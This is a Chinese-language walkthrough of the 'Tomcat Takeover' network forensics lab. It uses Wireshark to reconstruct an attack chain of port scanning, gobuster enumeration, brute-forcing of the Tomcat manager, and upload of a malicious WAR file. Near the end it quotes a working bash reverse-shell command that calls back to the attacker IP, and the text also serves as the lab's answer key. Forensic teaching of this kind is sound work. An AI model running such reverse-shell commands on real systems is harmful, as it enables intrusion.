前言

今天要打的是 Tomcat Takeover Lab，分類是 Network Forensics，難度為 easy。

Tomcat Takeover

情境

SOC團隊在公司內部網路的Web伺服器上發現了可疑活動。為了更好地了解情況，他們捕獲了網路流量進行分析。 PCAP檔案可能包含導致Apache Tomcat Web伺服器被入侵的惡意活動的證據。您的任務是分析該PCAP文件，以了解攻擊的範圍。

工具

Wireshark

Q1：鑑於在 Web 伺服器上偵測到的可疑活動，PCAP 檔案揭示了跨各個連接埠的一系列請求，表明存在潛在的掃描行為。您能確定在我們的伺服器上發起這些請求的來源 IP 位址嗎？

掃描行為一般會發大量請求到掃描目標的各個 port
Statistics -> Conversations 來總覽網路封包中所有通訊會話


在 IPv4 視窗下可以看到 14.0.0.120 和 10.0.0.112 這兩個 IP 傳了近兩萬個封包，而第二多的只有 1323 個。

並且在 TCP 視窗下我們可以看到 14.0.0.120 對 10.0.0.112 的很多不同的 port 發封包，且數量都是兩個，大小都是 120 bytes，這很明顯是掃描行為，所以發起掃描的 IP 是 14.0.0.120。
Ans：14.0.0.120

Q2：根據與攻擊者關聯的已識別 IP 位址，您能否辨識攻擊者活動源自哪個國家？

把 14.0.0.120 丟到 IP 查詢網站

Ans：China

Q3：從 PCAP 檔案中，我們偵測到攻擊者主動掃描導致的多個開放連接埠。這些連接埠中，哪些可以存取 Web 伺服器的管理面板？

把 source port 和 destination port Apply as column

透過 ip.addr == 14.0.0.120 and http.response.code == 200 來篩選 IP 包含 14.0.0.120 且回應為 200 OK 的封包

可以看到為 8080 port
Ans：8080

Q4：在我們的伺服器上發現開放連接埠後，攻擊者似乎試圖列舉並發現我們 Web 伺服器上的目錄和檔案。透過分析，您能辨識出哪些工具協助了攻擊者進行此枚舉過程？

我們可以用 ip.addr == 14.0.0.120 and http.response.code == 404 這個 filter，篩選 IP 為 14.0.0.120 和 HTTP 回應為 404 的封包，因為枚舉會請求大量不存在伺服器上的目錄，會產生很多 404 code。

follow http stream

可以看到 User-Agent 為 gobuster。
Ans：gobuster

Q5：在嘗試列舉我們 Web 伺服器上的目錄後，攻擊者發出了多次請求，以識別管理介面。攻擊者究竟發現了哪些與管理面板相關的具體目錄？

一樣用 ip.addr == 14.0.0.120 and http.response.code == 200 這個 filter

可以看到跟管理面板相關的目錄是 /manager
Ans：/manager

Q6：進入管理面板後，攻擊者嘗試暴力破解登入憑證。您能確定攻擊者成功登入的正確使用者名稱和密碼嗎？

一樣用 ip.addr == 14.0.0.120 and http.response.code == 200 這個 filter

對第一個成功存取 /manager 的封包 follow http stream

找到 200 OK 的驗證，在 Authorization 欄位看到一串像 base64 編碼的字串 YWRtaW46dG9tY2F0 ，丟到線上解碼器

Ans：admin:tomcat

Q7：進入管理面板後，攻擊者嘗試上傳一個文件，意圖建立反向shell。您能從捕獲的資料中識別出這個惡意檔案的名稱嗎？

一樣的 filter ip.addr == 14.0.0.120 and http.response.code == 200

可以看到攻擊者成功存取了 /manager/html/upload，follow http stream

可以看到檔案名稱是 JXQOZY.war
Ans：JXQOZY.war

Q8：成功在我們的伺服器上建立反向shell後，攻擊者的目標是確保在受感染的電腦上保持持久性。透過分析，您能否確定他們計劃運行的具體命令以維持其存在？

ip.addr == 14.0.0.120 篩選 IP 14.0.0.120 的封包

我們對攻擊者上傳完檔案的後面幾個封包 follow tcp stream

/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'，他會建立一個 reverse shell 回攻擊者的 IP。
Ans：/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

小結

今天我們學到用 Conversation 功能快速定位了來源 IP 的大規模掃描行為，並透過篩選技巧重建了從枚舉到管理面板暴力破解、惡意檔案上傳，最後建立反向 shell 的完整攻擊鏈。
明天我們將深入網路協定分析。